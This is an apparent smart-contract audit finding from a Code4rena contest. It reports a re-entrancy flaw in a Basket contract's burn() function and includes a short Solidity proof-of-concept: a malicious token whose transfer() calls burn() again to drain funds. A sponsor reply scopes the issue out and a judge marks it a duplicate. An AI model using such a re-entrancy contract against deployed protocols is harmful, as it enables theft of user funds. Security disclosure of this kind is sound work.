Re-entrancy in burn()

[code423n4]

Handle

hack3r-0m

Vulnerability details

https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L89

anyone can propose basket and hence one can create basket with his/her choice of tokens, out of which some can be malicious.

attacker can create sequence of tokens as WETH(1), DAI(2), USDC(3) and Malicious contract(4) and can drain all funds.

After calling burn(), at pushUnderlying(), 1st iteration will transfer WETH, 2nd will transfer DAI, third will transfer USDC and attacker will re-enter on 4th iteration again via burn()

Here is POC of attacker contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import "./interfaces/IBasket.sol";

contract MaliciousERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    string name = "this is not erc20!";
    string symbol = "not erc20!";
    uint8 decimals = 18;

    function burnFromBasket(uint256 amount, address basket) public {
        IBasket(basket).burn(amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        IBasket(basket).burn(amount);
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }
}

[frank-beard]

for this version of the protocol we are only concerned with defi safe erc-20 tokens, it is expected that the publishers and users will do their due diligence on what assets will be safe to add

[GalloDaSballo]

Duplicate of #248